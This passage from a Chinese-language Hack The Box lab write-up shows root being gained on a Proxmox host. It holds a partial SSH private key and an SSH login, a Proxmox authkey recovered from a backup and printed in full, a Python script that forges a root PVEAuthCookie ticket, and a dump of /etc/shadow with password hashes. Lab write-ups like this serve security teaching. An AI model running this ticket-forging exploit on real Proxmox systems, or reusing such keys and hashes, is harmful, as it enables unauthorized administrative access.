K45V+QhNRh+dd/jDyghOv4tlfbi2/PgRZU70eUqT4g3Y0K54xR0bqXMalYirtj9Mk7AAj2
D4rCxb9idf0Rtc1nm34gDX1hvhlz3qe6zi9csLaA67M8jvFD0PPkaun3KFz7p5oatSPXBn
iVT5OiCsQzJKKEj7w9iddd2bJsqYTTG1bk/6LG+xSrl57pEYsAAADBAMDDGhC5mtpjG6oH
eBW43VqL2P7Ks4QMp7t9yolV5tWkVv2++Ve3NwTZdQvrHrGwSZTw6ajT7bc0fDwwIHo8N6
eDP2eQb/5+0PU1fhrwQ3ydzggxL2GBp6a/z5RMT90lOdGDqx8Tu711pUaMJLfS3h/ekNgR
dD7QP2EaKUOEouQ/QXDFWgtZ++fmmIAQoHU2Au28iuHRG2WTfJyLvnqX2Tyl+5zDv3tZwk
hfgKMyu1f7nl7e6sP9ngTMopQOKm0/fQAAAMEA3H2j56msbjs2shQGjWI8n5THFnG6cVIe
YQFILUxGznBf7JWPKofuqG8/Sh/PtDd+4jPLpFQCzWt3GCq7klw4NZMbdzZ0/44MG4qIvZ
DGy6kpLvaZezgJGgccXWbMfbQXHMteid30lVhsMXcdRHAk0A7y7E/sqiFP6ai5AxnHp79O
HI9lBvXBcEe5ygrTNLaRHOKBUwszk08S55rDgziUYFiWCDL5okPjjNuL2YWJN3584eYFCq
/Mn31W4nU5mqchAAAAJGFtaWUudG9ycGh5QGNvcnBvcmF0ZS13b3Jrc3RhdGlvbi0wNAEC
AwQFBg==
-----END OPENSSH PRIVATE KEY-----ssh -i key sysadmin@10.9.0.1
Linux corporate 5.15.131-1-pve #1 SMP PVE 5.15.131-2 (2023-11-14T11:32Z) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 29 14:43:11 2023 from 10.8.0.2
sysadmin@corporate:~$ sysadmin@corporate:/var/backups$ ls
alternatives.tar.0 dpkg.arch.0 dpkg.diversions.2.gz dpkg.status.1.gz unknown-2.4.57+dfsg-3+deb11u1-20230407-203136.ldapdb
apt.extended_states.0 dpkg.arch.1.gz dpkg.statoverride.0 dpkg.status.2.gz
apt.extended_states.1.gz dpkg.arch.2.gz dpkg.statoverride.1.gz proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
apt.extended_states.2.gz dpkg.diversions.0 dpkg.statoverride.2.gz pve-host-2023_04_15-16_09_46.tar.gz
apt.extended_states.3.gz dpkg.diversions.1.gz dpkg.status.0 slapd-2.4.57+dfsg-3+deb11u1看到 /var/backups 有一些敏感文件,proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
解壓了如下:
然後搜索一下關於PVE的CVE,看到這篇 https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/
根據這篇,只要有/etc/pve/priv/authkey.key 或者 /etc/pmg/pmg-authkey.key 就可以成功提權。
所以嘗試尋找一下備份有沒有這兩個文件,
$ grep -a "authkey.key" -Ri .
$ cat ./var/lib/pve-cluster/config.db把這個key複製下來,保存成authkey.key ,然後參考上面的exploit 製作一個cookie
-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA4qucBTokukm1jZuslN5hZKn/OEZ0Qm1hk+2OYe6WtjXpSQtG EY8mQZiWNp02UrVLOBhCOdW/PDM0O2aGZmlRbdN0QVC6dxGgE4lQD9qNKhFqHgdR Q0kExxMa8AiFNJQOd3XbLwE5cEcDHU3TC7er8Ea6VkswjGpxn9LhxuKnjAm81M4C frIcePe9zp7auYIVVOu0kNplXQV9T1l+h0nY/Ruch/g7j9sORzCcJpKviJbHGE7v OXxqKcxEOWntJmHZ8tVb4HC4r3xzhA06IRj3q/VrEj3H6+wa6iEfYJgp5flHtVA8 8TlXitfsBH+ZT41CH3/a6JudMYSLGKvatGgjJQIDAQABAoIBAQCBBoBcNVmctMJk ph2Z6+/ydhXyOaCKA2tM4idvNXmSpKNzUbiD3EFBi5LN6bV3ZP05JA3mj/Y4VUlB Gr4cY4zXgEsntsU9a8n79Oie7Z/3N0x5ZV7rdxACJazqv17bq/+EHpEyc3b3o2Rx dNBSVi3IKup8nnY3J4wgFtEv/eqzefDc4ODcDIz/j46eh/TZLll7zhesJ6Icfml3 aZ3GjWdQWOwlj1rDCP7S/ehryNbB7p2T/FVHw6tbMf7XYtjlWzQbns+m9sQmrD3Q Lmw9zk7NyCuZi0/l8XiaJINv4VWFUuU4/KrifW7az81AAVcNLSKkg2AQ9Q3VSdyH z1p5Hz8tAoGBAP5wTIwhG781oHR3vu15OnoII9DFm80CtmeqA5mL2LzHB5Po2Osn wkspMpKioukFWcnwZO9330h/FSyv6zYJP/5QfwTkskEsYli6emdwJgb0C+HJYVVx /CWeDNvLhyNam0HcqzXMFzQhLfGaKoq4FZ95ozNOCv1K83G379o7VsRPAoGBAOQP sFdEEgDB/t0lnOEFfRSTwtJ2/IlLwBLMlm09aIwB7DqI9dl8fIcq8YR03XhGzIg0 H28xf3b5Ql619VJ9YESRSq+F4VjuMzJpXJuHshR9wQZy8RDEtr43OwTBOG7sUNKi I0MBFxEmfaPeZCIZCLouam1JBNAA3YwFxlPm8WBLAoGAXOmtSk6cz0pJ+b3wns9y JzXpvkcrCcY/zcMr5VpIH0ee4MhaziSKst+sdBen3efyTefXNAtWIicmGFd1URo3 oCrM94B8B4ipsTUHldZCTK+51w2u2YDyTtpUX78G7kYcBAUNEGwi3QpwuJVPi7CF VOMaUZXiNXS1SYWdtNeOa8kCgYA60g0SRN070s0wLo5Kv0amcwHRlJzHsIDmmFvH 6wm26pwJ8N8v69qWZi4KkrW4WtJP4tmkrSiJ//ntQZL3ZpzYsnyHzsjzTeRogSJA fvwgKtsJFcY1I/daEhanwEoU2eByoxzjIDnZ04qeJDLBVKGam3QZobabC04Y2jhv 1WW2BwKBgCD/j2QWr62kh48MY5hCG94YrZRiH1+WdJul+HpTXGax0kB8bXXehh7N n4+xaiJCTUElVEm2KH/7C8yKoytm8HR7eRrq7SJSbWEmvI/1Yhj1A9g2/vrCxOlm GtYXpgsbUgcGgg3Hr9/piitsBlSME6niawdxaMT9eLyLNUAnHRec -----END RSA PRIVATE KEY-----
import subprocess
import base64
import logging
import time
import tempfile
import os
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f'PVE:{username}:{timestamp}'
# Temporary file for auth key
authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'Writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
# Temporary file for plaintext
txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'Writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info('Calling openssl to sign')
sig = subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
sig = base64.b64encode(sig).decode('latin-1')
ret = f'{plaintext}::{sig}'
logging.info(f'Generated ticket for {username}: {ret}')
# Clean up temporary files
os.remove(authkey_path.name)
os.remove(txt_path.name)
return ret
authkey_path = './authkey.key'
with open(authkey_path, 'rb') as key_file:
authkey_bytes = key_file.read()
ticket = generate_ticket(authkey_bytes)
print("Generated Ticket:", ticket)運行了之後就得到了cookie。
Cookie名字填:PVEAuthCookie,value 填寫上面gen出來的。
填好之後刷新一下
Rooted.
root@corporate:~# cat /etc/shadow
root:$y$j9T$KJ/L8xhIi9u9haFUJ5529/$CGMc1ZCRTZfzMtPflnpp9Spq2OETo6Fld6IriiEwIbB:19714:0:99999:7:::
daemon:*:19438:0:99999:7:::
bin:*:19438:0:99999:7:::
sys:*:19438:0:99999:7:::
sync:*:19438:0:99999:7:::
games:*:19438:0:99999:7:::
man:*:19438:0:99999:7:::
lp:*:19438:0:99999:7:::
mail:*:19438:0:99999:7:::
news:*:19438:0:99999:7:::
uucp:*:19438:0:99999:7:::
proxy:*:19438:0:99999:7:::
www-data:*:19438:0:99999:7:::
backup:*:19438:0:99999:7:::
list:*:19438:0:99999:7:::
irc:*:19438:0:99999:7:::
gnats:*:19438:0:99999:7:::
nobody:*:19438:0:99999:7:::
_apt:*:19438:0:99999:7:::
_chrony:*:19438:0:99999:7:::
messagebus:*:19454:0:99999:7:::
_rpc:*:19454:0:99999:7:::
systemd-network:*:19454:0:99999:7:::
systemd-resolve:*:19454:0:99999:7:::
postfix:*:19454:0:99999:7:::
tcpdump:*:19454:0:99999:7:::
sshd:*:19454:0:99999:7:::
statd:*:19454:0:99999:7:::
gluster:*:19454:0:99999:7:::
tss:*:19454:0:99999:7:::
ceph:*:19454:0:99999:7:::
systemd-timesync:!*:19454::::::
systemd-coredump:!*:19454::::::
openldap:!:19454:0:99999:7:::
git:*:19455:0:99999:7:::
sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::
_laurel:!:19688::::::非常推薦: 如果你真的喜歡我寫的writeup,請使用這個鏈接注冊一個 HTB Academy 賬號,以表達我的感謝。
如果你是新手,使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
If you are a beginner, join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2026 manesec. All rights (include theme) reserved.